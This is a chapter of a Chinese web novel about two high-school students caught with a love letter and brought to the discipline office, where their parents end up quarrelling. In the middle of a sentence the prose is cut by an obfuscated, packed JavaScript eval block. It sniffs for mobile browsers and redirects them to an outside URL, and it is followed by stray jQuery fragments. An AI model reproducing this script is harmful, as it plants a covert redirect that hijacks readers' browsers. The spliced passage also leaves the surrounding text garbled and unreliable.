40
宋昭昭和贺辛述被带到了德育处。
路上,张威横插在他们中间,简单询问了两个人的班级和姓名,随后给他们的班主任各拨去一个电话。
“你们班学生在德育处,过来领一下。”
听起来像是失物招领,宋昭昭不免抿了下嘴角,压下笑意。
她低垂着脑袋,余光一次次瞟向张威那张臭得不能更臭的脸,下颌绷得紧紧的,就跟谁欠了他钱似的。
眉目紧锁,透露出严肃的气息,她打了个寒颤,心想这回怕是不好糊弄过去。
到了德育处,张威二话不说,从贺辛述衣兜里搜出那个精美的首饰盒,以及那封宋昭昭都没看过的情书。
他简单浏览,眼睛瞪得越来越大,胡子翘得越来越高。
最后恨铁不成钢的把信纸拍到了桌面,怒火从胸腔蹿到指尖,随时会将那封情书点燃。
“嘭——”
宋昭昭被这一声巨响吓得肩膀颤了一颤,她倒吸一口凉气,不止一次后悔。
刚刚她就应该趁着张威没有走到小树林面前,和贺辛述兵分两路逃跑。张威年近五十,体力耐力都比不上学生,真跑起来,他肯定顾不得两头。
要是当时鼓起勇气逃跑了,这会儿他们都不用在德育处聆听张威痛心疾首的教诲。
翻来覆去倒着一句“学校不允许早恋”,听得宋昭昭耳朵都要生茧子了。
“别以为快毕业了就可以无法无天,无视校规!翅膀还没硬呢!只要你们在学校一天,就必须遵守校规条例!”
“你们给我分开,靠墙站着反省去!”
张威猛地一拍桌子,桌上的玻璃杯震得跳了起来,茶杯里还有三分之一的茶水,漂浮着几片墨绿色茶叶。
水杯震荡,寂静的房间里回荡着“丁零当啷”的余音。
两人对视一眼,默默往后面的墙壁挪去。等站定了之后,贺辛述瞄一眼宋昭昭,主动将责任揽了过去。
“老师,这事跟她没有关系,都是我自作主张,都怪我!要不,您先放她回去。”
“这会儿逞强当上好人了?早干嘛去了?”张威怒气未消,声音高亢,“但凡你能把这些歪心思收一收,放到学习上,成绩是不是早进步了?”
“贺辛述同学,你觉得呢?”
老套的说辞。
宋昭昭撇了下嘴,并不是很认同他的说法。
青春期时男女生荷尔蒙涌动,对异性产生好感是再正常不过的事情,何至于上纲上线,把他们批得狗血淋头?
更何况,他们都还没早恋呢。
只凭一封没送出的情书就不分青红皂白污蔑他们没将心思放在学习上,未免带了偏见,太过武断。
张威抬眼,见两个人如鹌鹑似的立在墙壁两侧,偏偏脸上的表情很不服气,他气不打一处来,翻箱倒柜寻找家校通。
家校通上记录留存了每位同学家长的联系方式,他准备请他们父母到学校喝茶。
张威说一不二,掏出手机就拨电话,引来宋昭昭和贺辛述强烈抗拒。
张威挥了挥手:“晚了,你们都别跟我置气,向自己爸妈解释去吧。”
“我管不了你们,让你们家长来教育。”
-
德育处是独立办公室,在综合楼三楼的走廊尽头。
半个小时后,两个人的班主任、家长都尽数到位,一屋子站了九个人,把德育处挤得满满当当。
屋子里明亮的光线洒下,宋昭昭逆着光,看见母亲低马尾里藏了几根白发。
她瞬间鼻酸,在众人发现她的异常前速速低下头去,小心地掩饰着难过、内疚的情绪。
那封情书在大人手中传阅,光亮之下,贺辛述的秘密就这么被打开了。
与之一同被打开的,还有那条精美的、闪闪发光的手链。
沉重的叹息声在房间里此起彼伏,宋昭昭几欲开口,都被大人们凝重的神情吓退了。
可是,可是……
宋昭昭有些不忍,还是替他出了头。
“我们两个人之间没有任何事情,在张老师到来之前,我们彼此约定好了要认真学习,努力完成高考目标。”
“然后呢?”张威耷拉的胡子又被气得翘了起来。他拔高音量,“高考结束之后再在一起是吗?你现在是怪我提前捅破了你们的感情?”
“宋昭昭同学,你的意思是——”
“老师做错了?”
不是的。
宋昭昭拧着眉,欲言又止。
眼见气氛变僵,宋父赶忙出来打圆场:“没有没有,张老师,我们家昭昭绝对不是那个意思,你别误会。”
“张老师你这么做全是为了学生好,工作辛苦,大家都看在眼里。”
宋父走到办公桌面前,把茶杯递给了他:“您喝口茶,消消气。”
“昭昭,不要和张老师顶嘴。”他扭过头和宋昭昭使了个脸色,意思是要她息事宁人,“过来道歉。”
宋昭昭不为所动。
张威怒意更盛,连连发出沉重的叹息。
他接过水杯,又将它重重地搁在桌面。
德育处灯火通明,余菲结束加班,从办公室出来的时候往里面瞄了一眼。
彼时的她在理科班任职,早已不是宋昭昭和贺辛述的班主任。但她记忆力好,还记得他们,仅仅看了一眼,就认出了在场的两位同学。
她现在不是他们的老师,更何况他们各自的班主任都在场,她进去帮忙求情未免显得掺和、多事,不利于事态发展。
因此,余菲只停在门口多听了几句。
听到了宋昭昭的反驳,也看见了张威冷峻的面色。
她不由为小女孩捏了一把汗。
余菲浅浅叹了口气,摇摇头走到综合楼一楼,给陈历拨去电话。
余菲打来电话时,陈历正在图书馆写材料,手机设置成静音,连震动都没有开。
他专注学习的时候,一般不希望被打扰。
可偏偏今天,他刚拿起水杯喝了两口水,视线往手机屏幕上随意一扫,就看见了这个来自余菲的电话。
虽然他们平时偶有联系,但通常通过微信聊天,怎么会突然给他打电话。
陈历觉得奇怪,拿起手机,快步走到楼梯间接起电话。
余菲长话短说,言语简洁地表述拨来电话的缘由,她在电话那端心有余悸地拍拍胸脯,说:“我看张老师这次是想抓个典型,以此警告那些即将毕业、蠢蠢欲动的高三生。”
“昭昭也是倒霉了……”
“今晚他们班主任和家长都来了,估计会先做停学处理,接下来不好说,得看他们认识错误的态度……”
“喂,陈历,你在听吗?”
电话接通之后,一直都是余菲在说话,那端的人始终一言不发,她都要怀疑全程是她在自言自语。
“在的,余老师。”
陈历眉头微蹙,眸色暗下来,平静的声音让人听不出他的情绪。
“那你……?”余菲想了想还是忍不住叮嘱,“我看小姑娘情绪挺激动的,你有空的话,劝一劝她,张老师其实没有恶意。”
“让她别放在心上,其余事情可以等高考结束再说。”
余菲言尽于此。
“好,我知道了。”
“谢谢你,余老师。”
挂断电话,陈历握着手机在楼梯间伫立了一会儿。
思绪混乱,脑海里想起她倔强的脸庞,还有那双明亮诚挚的眼睛,心骤然刺痛。
回到座位,陈历继续搜索法律文献,查找资料,可他明明眼睛盯住屏幕,注意力却怎么也无法集中。
心不在焉地打了几排字,完全是无用的废话。
陈历挠挠头,有些烦躁地甩开鼠标,拿出手机查询最近一班回家的飞机。
-
德育处。
宋父好声好气地向张威道歉,全程态度恭恭敬敬的,弯腰递杯子时,肩膀往下压,看得宋昭昭莫名鼻子一酸。
明明,她什么都没有做错啊。
她不想父亲为了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405693|168762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己在老师面前点头哈腰,下决心“大事化小,小事化了”,上前一步,做好准备向张威低头。
下一秒,贺辛述的母亲站了出来。
“哎哟我说,张老师,我们家小述从小到大都是最规矩的孩子,他既听话又懂事的,怎么可能早恋的嘛?”
“他才十几岁,还是小朋友。回家后一门心思扑在学习上,电视剧不看,游戏也不玩,眼里只有成绩和排名。他怎么可能想得到早恋啊……”
“我看,指不定是谁先勾引的我们家孩子,在高考前搞这些乱七八糟的事情。”
“还有这条女士手链,轻奢的小众品牌,我查了下,价格可不便宜,小述一个男孩子哪里听过这些?”
“张老师。你可一定要查清楚,不要污蔑了清清白白的学生哦。”
贺辛述的母亲音调比较尖,突然抬高了音量说话,显出几分刻薄尖锐的意思。
尤其这一段话意有所指,在常都是聪明人,听完话后,两个班主任面面相觑。
宋昭昭上前的脚步顿在原地。
她有一瞬失神。
什么意思?贺辛述母亲是想把锅全部推到她身上?是在怪她勾引她儿子?
同为母亲,说出这般羞辱人的话,居然也不害臊。
宋母冷嗤一声,急冲冲跨上前,指着贺辛述母亲的鼻子破口大骂:“你这女人什么意思啊?推卸责任?敢做不敢当啊?”
“古有君王亡国怪红颜祸水,现有小孩不专心学业把脏水泼给女同学?笑话。”
贺母不甘示弱:“我提出合理怀疑,你这么激动干什么?心虚了?还是被我说准了?”
“啧啧啧。”
她嫌弃、讥讽的目光在宋母和宋昭昭身上来回的扫。
宋母的脾气跟个炮仗似的,直接被点炸了。她怒目:“你要不要脸?是你儿子信里写的,默默喜欢了我女儿三年,识字吗?”
“不识字我可以读给你听。”
说着,宋母就要去拿桌面放的那封情书。
宋父立马拦住她的腰腹,低声在她耳畔嘱咐:“这里是学校,冷静点。”
呸!
冷静有什么用,素质在关键时候不要也罢。面对无理取闹的人就应该反击回去,不然要一直被人骑在头上骂吗?
宋母冷静不了一点,扯着嗓子与人辩驳:“情书是你儿子写的,手链是你儿子买的。今天晚上是你儿子要和我女儿告白,我还没怪他影响我女儿学习呢,你倒好,居然恶人先告状,你属狗啊,怎么乱咬人呢?”
“我看就是你们家长疏于管教,才放任孩子……”
“你放屁!”贺辛述的母亲情绪激动,高亢尖利的声音划破夜空,“我们儿子品行端正,肯定是你们家女儿引诱他。”
“年纪轻轻就敢开口要那么贵的礼物,不要脸!”
宋母无语地翻了个白眼,单手叉腰:“口口声声手链贵重,我们家难道缺这点钱?你要喜欢,自己拿回去戴好咯。”
“反正是我女儿看不上的东西。”
“还有啊,我家女儿绝对不可能和你儿子在一起,你就放宽了心吧。”
两个女人像两只气势高昂的斗鸡,火力全开,你一言我一语,互不相让。
她们吵得面红耳赤,难舍难分,d大有炸了这间办公室,大家都同归于尽的想法。
最后就连班主任和张威齐齐下场,也没能平息众人的怒火。
声音越吵越响,动静越闹越大,变得难以收场。
在一声声互相指责和谩骂中,宋昭昭讥讽地发出一声冷哼,她眨了下睫毛,看向另一端站得笔直的贺辛述。
他微低着头,瘦削的身影在纷飞的战火中飘零欲坠。
垂立在身侧的双手紧紧握成拳头,手臂上的青筋依稀可见。喉结克制地上下滚动了一下又一下,最终拉直嘴角,长舒出一口气。
“你们别吵了!”
始终保持沉默的他突然发出怒吼,像一只森林里的野兽在咆哮,惊得众人连忙停下推搡的动作,回眸看他。